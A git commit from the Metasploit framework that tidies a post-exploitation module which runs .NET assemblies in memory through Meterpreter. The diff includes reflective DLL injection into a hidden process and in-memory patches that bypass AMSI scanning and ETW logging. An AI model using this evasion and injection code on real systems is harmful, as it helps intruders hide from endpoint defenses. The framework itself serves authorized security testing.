Land #13279, Some fix for rubocop verification

Merge branch 'land-13279' into upstream-master
This commit is contained in:
bwatters-r7 2020-05-01 13:49:14 -05:00
commit a0213a13f0
No known key found for this signature in database
GPG Key ID: ECC0F0A52E65F268
6 changed files with 73 additions and 70 deletions

View File

@ -1,10 +1,17 @@
# Execute .Net assembly via Meterpreter session
This module to executing a .NET Assembly from Meterpreter session
This module executes a .NET Assembly from a Meterpreter session
It spawn a process (or use an existing process providing pid) and use Reflective dll injection to load HostingCLRx64.dll needed to run .Net assembly
The unmanaged injected dll takes care of verifying if the process has already loaded the clr, and loads it if necessary. The version of the CLR to be loaded is determined by executing the parsing of the assembly provided searching for a known signature. Then run the assembly from memory.
Before loading the assembly in the context of the clr, Amsi is bypassed using the AmsiScanBuffer patching technique (https://rastamouse.me/2018/10/amsiscanbuffer-bypass-part-1/)
It spawns a process (or uses an existing process if provided a pid) and
uses Reflective dll injection to load HostingCLRx64.dll needed to run
.Net assembly. The unmanaged injected dll takes care of verifying if the
process has already loaded the clr, and loads it if necessary. The
version of the CLR to be loaded is determined by parsing of the assembly
provided and searching for a known signature. Then it runs the assembly
from memory.
Before loading the assembly in the context of the clr, Amsi is bypassed
using the AmsiScanBuffer patching technique.
(https://rastamouse.me/2018/10/amsiscanbuffer-bypass-part-1/)
You'll find details at [Execute assembly via Meterpreter session](https://b4rtik.blogspot.com/2018/12/execute-assembly-via-meterpreter-session.html)
@ -209,14 +216,20 @@ Module options (post/windows/manage/execute_dotnet_assembly):
AMSIBYPASS
Enable or Disable Amsi bypass. This parameter is necessary due to the technique used. It is possible that subsequent updates will make the bypass unstable which could result in a crash. By setting the parameter to false the module continues to work.
Enable or Disable Amsi bypass. This parameter is necessary due to the
technique used. It is possible that subsequent updates will make the
bypass unstable which could result in a crash. By setting the parameter
to false the module continues to work.
ARGUMENTS
Command line arguments. The signature of the Main method must match with the parameters that have been set in the module, for example:
Command line arguments. The signature of the Main method must match with
the parameters that have been set in the module, for example:
If the property ARGUMENTS is set to "antani sblinda destra" the main method should be "static void main (string [] args)"<br />
If the property ARGUMENTS is set to "" the main method should be "static void main ()"
If the property ARGUMENTS is set to "antani sblinda destra" the main
method should be "static void main (string [] args)"<br />
If the property ARGUMENTS is set to "" the main method should be "static
void main ()"
DOTNET_EXE
@ -224,7 +237,8 @@ Dotnet Executable to execute
PID
Pid to inject. If different from 0 the module does not create a new process but uses the existing process identified by the PID parameter.
Pid to inject. If different from 0 the module does not create a new
process but uses the existing process identified by the PID parameter.
PROCESS

View File

@ -153,7 +153,7 @@ int executeSharp(LPVOID lpPayload)
int ptcResult = PatchEtw();
if (ptcResult == -1)
{
printf("Etw bypass failed\n");
wprintf(L"Etw bypass failed\n");
return -1;
}
}
@ -388,7 +388,7 @@ ULONG NTAPI MyEtwEventWrite(
return uResult;
}
INT InlinePatch(LPVOID lpFuncAddress, UCHAR * patch) {
INT InlinePatch(LPVOID lpFuncAddress, UCHAR * patch, int patchsize) {
PNT_TIB pTIB = NULL;
PTEB pTEB = NULL;
PPEB pPEB = NULL;
@ -426,13 +426,13 @@ INT InlinePatch(LPVOID lpFuncAddress, UCHAR * patch) {
LPVOID lpBaseAddress = lpFuncAddress;
ULONG OldProtection, NewProtection;
SIZE_T uSize = sizeof(patch);
SIZE_T uSize = patchsize;
NTSTATUS status = ZwProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, PAGE_EXECUTE_READWRITE, &OldProtection);
if (status != STATUS_SUCCESS) {
return -1;
}
status = ZwWriteVirtualMemory(NtCurrentProcess(), lpFuncAddress, (PVOID)patch, sizeof(patch), NULL);
status = ZwWriteVirtualMemory(NtCurrentProcess(), lpFuncAddress, (PVOID)patch, patchsize, NULL);
if (status != STATUS_SUCCESS) {
return -1;
}
@ -450,20 +450,20 @@ BOOL PatchEtw()
HMODULE lib = LoadLibraryA("ntdll.dll");
if (lib == NULL)
{
printf("Cannot load ntdll.dll");
wprintf(L"Cannot load ntdll.dll");
return -2;
}
LPVOID lpFuncAddress = GetProcAddress(lib, "EtwEventWrite");
if (lpFuncAddress == NULL)
{
printf("Cannot get address of EtwEventWrite");
wprintf(L"Cannot get address of EtwEventWrite");
return -2;
}
// Add address of hook function to patch.
*(DWORD64*)&uHook[2] = (DWORD64)MyEtwEventWrite;
return InlinePatch(lpFuncAddress, uHook);
return InlinePatch(lpFuncAddress, uHook,sizeof(uHook));
}
BOOL PatchAmsi()
@ -483,7 +483,7 @@ BOOL PatchAmsi()
return -2;
}
return InlinePatch(addr, amsipatch);
return InlinePatch(addr, amsipatch, sizeof(amsipatch));
}
BOOL ClrIsLoaded(LPCWSTR version, IEnumUnknown* pEnumerator, LPVOID * pRuntimeInfo) {

View File

@ -20,4 +20,4 @@ VOID Execute(LPVOID lpPayload);
BOOL FindVersion(void * assembly, int length);
BOOL PatchAmsi();
BOOL ClrIsLoaded(LPCWSTR versione, IEnumUnknown* pEnumerator, LPVOID * pRuntimeInfo);
INT InlinePatch(LPVOID lpFuncAddress, UCHAR * patch);
INT InlinePatch(LPVOID lpFuncAddress, UCHAR * patch, int patchsize);

View File

@ -19,8 +19,10 @@ class MetasploitModule < Msf::Post
info,
'Name' => 'Execute .net Assembly (x64 only)',
'Description' => %q{
This module execute a .net assembly in memory. Reflectively load the dll that will host CLR, then
copy in memory the assembly that will be executed. Credits for Amsi bypass to Rastamouse (@_RastaMouse)
This module executes a .net assembly in memory. It
reflectively loads a dll that will host CLR, then it copies
the assembly to be executed into memory. Credits for Amsi
bypass to Rastamouse (@_RastaMouse)
},
'License' => MSF_LICENSE,
'Author' => 'b4rtik',
@ -48,32 +50,26 @@ class MetasploitModule < Msf::Post
register_advanced_options(
[
OptBool.new('KILL', [ true, 'Kill the injected process at the end of the task', false ])
OptBool.new('KILL', [true, 'Kill the injected process at the end of the task', false])
]
)
end
def check_dotnet_version
vprint_status("DOTNET VERSIONS: #{get_dotnet_versions}")
end
def find_required_clr(exe_path)
filecontent = File.read(exe_path).bytes
sign = 'v4.0.30319'.bytes
filecontent.each_with_index do |_item, index|
sign.each_with_index do |subitem, indexsub|
if subitem.to_s(16) != filecontent[index + indexsub].to_s(16)
break
else
if indexsub == 9
vprint_status('CLR versione required v4.0.30319')
return 'v4.0.30319'
end
break if subitem.to_s(16) != filecontent[index + indexsub].to_s(16)
if indexsub == 9
vprint_status('CLR version required: v4.0.30319')
return 'v4.0.30319'
end
end
end
vprint_status('CLR versione required v2.0.50727')
return 'v2.0.50727'
vprint_status('CLR version required: v2.0.50727')
'v2.0.50727'
end
def check_requirements(clr_req, installed_dotnet_versions)
@ -83,38 +79,30 @@ class MetasploitModule < Msf::Post
vprint_status('Requirements ok')
return true
end
else
if fi[0] == '3'
vprint_status('Requirements ok')
return true
end
elsif fi[0] == '3'
vprint_status('Requirements ok')
return true
end
end
vprint_status('Requirements ko')
return false
print_error('Required dotnet version not present')
false
end
def run
exe_path = datastore['DOTNET_EXE']
unless File.file?(exe_path)
fail_with(Failure::BadConfig, 'Assembly not found')
end
installed_dotnet_versions = get_dotnet_versions
vprint_status("Dot Net Versions installed on target: #{installed_dotnet_versions}")
if installed_dotnet_versions == []
fail_with(Failure::BadConfig, 'Target has no .NET framework installed')
end
exe_path = datastore['DOTNET_EXE']
if check_requirements(find_required_clr(exe_path), installed_dotnet_versions) == false
rclr = find_required_clr(exe_path)
if check_requirements(rclr, installed_dotnet_versions) == false
fail_with(Failure::BadConfig, 'CLR required for assembly not installed')
end
if File.file?(exe_path)
assembly_size = File.size(exe_path)
if datastore['ARGUMENTS'].nil?
params_size = 0
else
params_size = datastore['ARGUMENTS'].length
end
execute_assembly(exe_path)
else
print_bad("Assembly not found #{exe_path}")
end
execute_assembly(exe_path)
end
def sanitize_process_name(process_name)
@ -130,7 +118,7 @@ class MetasploitModule < Msf::Post
mypid = client.sys.process.getpid.to_i
if pid == mypid
print_bad('Can not select the current process as the injection target')
print_bad('Cannot select the current process as the injection target')
return false
end
@ -155,13 +143,11 @@ class MetasploitModule < Msf::Post
process_name = sanitize_process_name(datastore['PROCESS'])
print_status("Launching #{process_name} to host CLR...")
channelized = true
if datastore['PID'] > 0
channelized = false
end
channelized = false if datastore['PID'].positive?
impersonation = true
if datastore['USETHREADTOKEN'] == false
impersonation = false
end
impersonation = false if datastore['USETHREADTOKEN'] == false
process = client.sys.process.execute(process_name, nil, {
'Channelized' => channelized,
'Hidden' => true,
@ -199,8 +185,12 @@ class MetasploitModule < Msf::Post
end
def execute_assembly(exe_path)
print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?
if (datastore['PID'] > 0) || (datastore['WAIT'] == 0) || (datastore['PPID'] > 0)
if sysinfo.nil?
fail_with(Failure::BadConfig, 'Session invalid')
else
print_status("Running module against #{sysinfo['Computer']}")
end
if datastore['PID'].positive? || datastore['WAIT'].zero? || datastore['PPID'].positive?
print_warning('Output unavailable')
end
@ -221,11 +211,9 @@ class MetasploitModule < Msf::Post
print_status('Executing...')
hprocess.thread.create(exploit_mem + offset, assembly_mem)
if datastore['WAIT'] > 0
sleep(datastore['WAIT'])
end
sleep(datastore['WAIT']) if datastore['WAIT'].positive?
if (datastore['PID'] <= 0) && (datastore['WAIT'] > 0) && (datastore['PPID'] <= 0)
if (datastore['PID'] <= 0) && datastore['WAIT'].positive? && (datastore['PPID'] <= 0)
read_output(process)
end
@ -242,14 +230,14 @@ class MetasploitModule < Msf::Post
int_param_size = 8
amsi_flag_size = 1
etw_flag_size = 1
exe_path = datastore['DOTNET_EXE']
assembly_size = File.size(exe_path)
if datastore['ARGUMENTS'].nil?
argssize = 1
else
argssize = datastore['ARGUMENTS'].size + 1
end
payload_size = assembly_size + argssize + amsi_flag_size + etw_flag_size + int_param_size
payload_size = amsi_flag_size + etw_flag_size + int_param_size
payload_size += assembly_size + argssize
assembly_mem = process.memory.allocate(payload_size, PAGE_READWRITE)
params = [assembly_size].pack('I*')
params += [argssize].pack('I*')
@ -289,7 +277,8 @@ class MetasploitModule < Msf::Post
break if output.nil? || output.empty?
end
rescue Rex::TimeoutError => e
rescue ::Exception => e
vprint_warning('Time out exception: wait limit exceeded (5 sec)')
rescue ::StandardError => e
print_error("Exception: #{e.inspect}")
end